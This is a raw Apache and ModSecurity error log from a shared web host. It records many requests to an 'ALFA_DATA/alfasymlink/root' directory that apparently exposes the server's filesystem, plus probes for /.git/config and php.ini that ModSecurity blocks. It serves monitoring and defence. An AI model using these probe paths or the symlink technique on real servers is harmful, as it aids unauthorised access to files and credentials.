[Sat Oct 24 05:52:18.541778 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.22.87.224:33234] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:52:22.658707 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 54.157.84.74:54677] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:52:26.419577 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.204.253.129:47586] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:52:34.549489 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 54.90.8.255:53543] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:06/physical_node/virtio2/subsystem/drivers/virtio_blk/bind
[Sat Oct 24 05:52:38.750170 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.87.62.248:34550] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:52:40.007169 2026] [autoindex:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 144.76.19.24:61924] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/4/ns/
[Sat Oct 24 05:52:54.651679 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 34.231.156.59:17520] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:52:58.475510 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 18.204.152.114:27851] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:03.0/rom
[Sat Oct 24 05:53:02.541204 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 52.73.6.26:54896] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:53:10.592411 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 98.83.8.142:37978] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:53:11.617543 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.206:31394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ip_set/sections/__ksymtab_strings
[Sat Oct 24 05:53:18.441749 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 34.226.89.140:29847] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:53:22.682486 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 44.215.61.66:10434] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:53:24.700113 2026] [authz_core:error] [pid 2607845:tid 2607845] [client 71.6.237.16:13658] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 05:53:30.504802 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 100.24.149.244:13655] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:53:34.714150 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.3.155.146:13109] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:53:38.819782 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 98.83.226.125:6808] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:53:42.691864 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 52.5.232.250:54495] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/drivers/hardware_error_device/unbind
[Sat Oct 24 05:53:50.657737 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 100.27.153.9:48533] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:53:58.499210 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 44.221.105.234:3414] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:54:06.525278 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.222.85.38:13948] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:54:10.856789 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 34.206.212.24:44176] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:54:18.575821 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 34.236.135.14:57829] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:54:24.545328 2026] [security2:error] [pid 2609012:tid 2609012] [client 43.130.72.40:34420] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas2.com/"] [unique_id "atyAUHUcfBNBYE9xHAI_kAAAAAA"]
[Sat Oct 24 05:54:24.546825 2026] [authz_core:error] [pid 2609012:tid 2609012] [client 43.130.72.40:34420] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Sat Oct 24 05:54:30.825752 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 3.215.59.93:17255] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:54:38.733706 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 34.205.163.103:22375] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:54:54.556870 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.212.205.90:33118] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:54:58.540681 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.207.207.36:59048] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:55:02.673916 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 100.28.133.214:50852] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:55:06.552301 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 18.213.240.226:7151] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:55:14.676336 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 184.72.95.195:5540] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:55:18.550682 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 52.200.58.199:40694] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:55:23.393494 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.215.210.112:31865] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:55:23.948901 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.139.102.100:52172] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.hosp1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyAi_PD_keneTOG9SbhswAAAAg"]
[Sat Oct 24 05:55:23.949280 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.139.102.100:52172] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyAi_PD_keneTOG9SbhswAAAAg"]
[Sat Oct 24 05:55:23.949557 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.139.102.100:52172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyAi_PD_keneTOG9SbhswAAAAg"]
[Sat Oct 24 05:55:23.949878 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.139.102.100:52172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyAi_PD_keneTOG9SbhswAAAAg"]
[Sat Oct 24 05:55:24.559759 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.75.164.182:19086] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "busca1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyAjLX1SaR9hxmEXognkwAAAAo"]
[Sat Oct 24 05:55:24.560028 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.75.164.182:19086] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "busca1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyAjLX1SaR9hxmEXognkwAAAAo"]
[Sat Oct 24 05:55:24.560263 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.75.164.182:19086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyAjLX1SaR9hxmEXognkwAAAAo"]
[Sat Oct 24 05:55:24.560517 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.75.164.182:19086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyAjLX1SaR9hxmEXognkwAAAAo"]
[Sat Oct 24 05:55:26.897036 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 18.211.39.188:44926] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:55:27.354099 2026] [security2:error] [pid 2607243:tid 2607243] [client 35.237.81.236:46590] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyAj1GNStwISql-V9e8pAAAAAs"]
[Sat Oct 24 05:55:27.354423 2026] [security2:error] [pid 2607243:tid 2607243] [client 35.237.81.236:46590] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyAj1GNStwISql-V9e8pAAAAAs"]
[Sat Oct 24 05:55:27.354634 2026] [security2:error] [pid 2607243:tid 2607243] [client 35.237.81.236:46590] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyAj1GNStwISql-V9e8pAAAAAs"]
[Sat Oct 24 05:55:27.354930 2026] [security2:error] [pid 2607243:tid 2607243] [client 35.237.81.236:46590] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyAj1GNStwISql-V9e8pAAAAAs"]
[Sat Oct 24 05:55:30.586193 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 3.93.98.99:45751] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:55:53.684597 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 85.208.96.193:55776] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/objects
[Sat Oct 24 05:56:06.681800 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 34.204.150.196:63926] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:56:10.670229 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 35.173.18.61:4668] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:56:18.629105 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.225.9.97:9293] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:56:27.579318 2026] [ssl:error] [pid 2607243:tid 2607243] (5)Input/output error: [client 54.85.109.140:54060] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:56:30.625658 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.22.64.232:26324] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:56:38.752067 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 44.221.105.234:24388] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:56:42.783023 2026] [ssl:error] [pid 2607843:tid 2607843] (22)Invalid argument: [client 54.145.82.217:7479] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:56:46.675411 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 98.82.59.253:1544] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:56:50.686434 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 34.227.156.153:39848] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:56:54.815351 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.235.172.108:25837] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:56:59.078429 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 23.21.148.226:65245] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:57:00.836745 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 185.191.171.4:55540] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:57:07.020106 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 34.225.24.180:31278] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:57:18.701142 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 184.73.68.20:7194] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:57:22.915361 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 107.20.25.33:62208] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:57:35.005017 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 18.205.127.11:20356] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:57:42.706820 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 98.84.131.195:57092] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:57:46.740192 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.213.85.234:12321] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:57:50.823984 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 52.21.62.139:46887] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:57:54.992571 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 44.209.89.189:50802] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:58:02.744735 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 34.193.2.57:34407] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input4/subsystem/event2/subsystem/input5/device/driver/pcspkr/driver/uevent
[Sat Oct 24 05:58:10.751759 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 98.83.94.113:62911] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:58:14.946734 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.87.62.248:25948] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:58:21.735457 2026] [security2:error] [pid 2608810:tid 2608810] [client 45.79.181.164:6750] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/"] [unique_id "atyBPaVWPMRLkHgZYZD5sQAAABU"]
[Sat Oct 24 05:58:21.735505 2026] [security2:error] [pid 2608810:tid 2608810] [client 45.79.181.164:6750] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/"] [unique_id "atyBPaVWPMRLkHgZYZD5sQAAABU"]
[Sat Oct 24 05:58:26.923545 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 54.147.80.137:22179] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:58:30.837442 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 44.215.61.66:13768] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:58:34.893499 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 54.166.126.132:37586] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty4/subsystem/tty0/subsystem/ttyS0/closing_wait
[Sat Oct 24 05:58:39.033846 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 18.207.89.138:15975] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:58:46.947552 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 98.83.8.142:39855] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:58:59.042064 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 52.204.174.139:54866] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS3/uartclk
[Sat Oct 24 05:59:02.887059 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 44.208.223.68:1794] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:59:06.884927 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.229.164.203:39101] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:59:13.790947 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 185.191.171.3:64352] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/trace
[Sat Oct 24 05:59:14.835453 2026] [security2:error] [pid 2608810:tid 2608810] [client 44.194.134.53:45026] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/wakeup/"] [unique_id "atyBcqVWPMRLkHgZYZD5tAAAABU"]
[Sat Oct 24 05:59:14.835541 2026] [security2:error] [pid 2608810:tid 2608810] [client 44.194.134.53:45026] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/wakeup/"] [unique_id "atyBcqVWPMRLkHgZYZD5tAAAABU"]
[Sat Oct 24 05:59:24.285063 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 85.208.96.210:44354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/objs_per_slab
[Sat Oct 24 05:59:27.499853 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 34.205.163.103:36655] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:20/subsystem/devices/device:0a/subsystem/drivers/thermal/bind
[Sat Oct 24 05:59:30.667883 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 18.214.138.148:33054] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/vmd/uevent
[Sat Oct 24 05:59:38.769245 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 44.217.255.167:12134] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1a/eject
[Sat Oct 24 05:59:50.635547 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 18.232.11.247:44255] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:59:50.891835 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 185.191.171.10:38610] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/usersize
[Sat Oct 24 05:59:54.671542 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 98.80.130.239:43458] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:59:58.775838 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 35.172.125.172:54388] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/ata_generic/uevent
[Sat Oct 24 06:00:02.833278 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 35.173.18.61:9647] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:00:18.538292 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 98.82.63.147:50306] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:00:30.609404 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 50.16.216.166:39144] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:00:38.441081 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.230.224.6:38935] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:00:50.483666 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.3.156.186:48005] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:01:06.302931 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 23.21.250.48:32990] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:01:10.258879 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.70.138.176:8943] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:01:18.232557 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.234.197.175:56273] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:01:26.204986 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 52.0.105.244:59432] AH02013: coalesce failed to read from data bucket
